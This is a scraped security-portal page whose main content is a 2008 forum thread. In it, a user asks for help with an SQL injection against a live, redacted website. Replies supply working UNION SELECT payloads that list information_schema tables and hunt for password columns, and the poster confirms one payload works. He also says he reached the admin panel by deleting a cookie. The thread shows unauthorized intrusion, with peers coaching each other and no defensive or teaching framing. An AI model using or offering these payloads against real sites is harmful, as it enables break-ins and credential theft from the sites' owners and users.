Waraxe IT Security Portal
Login or Register
May 3, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 83
Members: 0
Total: 83
Full disclosure
Microsoft Windows .XRM-MS File / NTLM Information DisclosureSpoofing
[IWCC 2025] CfP: 14th International Workshop on Cyber Crime -Ghent, Belgium, Aug 11-14, 2025
Inedo ProGet Insecure Reflection and CSRF Vulnerabilities
Ruby on Rails Cross-Site Request Forgery
Microsoft ".library-ms" File / NTLM Information Disclosure (Resurrected 2025)
HNS-2025-10 - HN Security Advisory - Local privilege escalation in Zyxel uOS
APPLE-SA-04-16-2025-4 visionOS 2.4.1
APPLE-SA-04-16-2025-3 tvOS 18.4.1
APPLE-SA-04-16-2025-2 macOS Sequoia 15.4.1
APPLE-SA-04-16-2025-1 iOS 18.4.1 and iPadOS 18.4.1
Business Logic Flaw: Price Manipulation - AlegroCartv1.2.9
Stored XSS in "Message" Functionality - AlegroCartv1.2.9
XSS via SVG Image Upload - AlegroCartv1.2.9
BBOT 2.1.0 - Local Privilege Escalation via Malicious ModuleExecution
83 vulnerabilities in Vasion Print / PrinterLogic
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Help With Injection
Post new topicReply to topic View previous topic :: View next topic
Help With Injection
PostPosted: Mon Nov 24, 2008 11:02 pm Reply with quote
slsl
Advanced user
Advanced user
Joined: Oct 14, 2008
Posts: 66




Alright so i found an injection and it is in a different database than the users (which i'm looking for) i think and the injection im using to find the tables is

Code:
http://www.**********.com/index.php?a=view&id=660%20UNION%20ALLSELECT%201,table_name,3,4,5,6,7,8,9,10,11,12,13%20FROM%20information_schema.tables%20ORDER%20BY%20id

but the output i get says CHARACTER_SETS can someone please help me?


EDIT & btw the version is 5.0.67-community

EDIT 2: NVM I got into the admin panel by just deleting a cookie
View user's profile Send private message
PostPosted: Tue Nov 25, 2008 2:40 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




Try this:

Code:
Union All Select 1,table_name,3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables order by 1 desc limit 0,1--


Then to change the row just change the 0 in limit. Also, you could try using the a like statement...

Code:
Union All Select 1,concat(column_name,0x3a,table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where column_name like 0x257061737325 order by 1 desc limit 0,1--


0x257061737325 = %pass%
View user's profile Send private message Yahoo Messenger
PostPosted: Tue Nov 25, 2008 2:47 am Reply with quote
slsl
Advanced user
Advanced user
Joined: Oct 14, 2008
Posts: 66




Thanks man the second code is working
View user's profile Send private message
PostPosted: Tue Nov 25, 2008 6:01 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




Anytime Smile
View user's profile Send private message Yahoo Messenger
PostPosted: Sat Nov 29, 2008 8:54 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




Could just do


Code:
Union All Select 1,table_name,3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables limit 14,1/*


Little shorter but both ways work Very Happy
View user's profile Send private message Visit poster's website MSN Messenger
Help With Injection
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.038 Seconds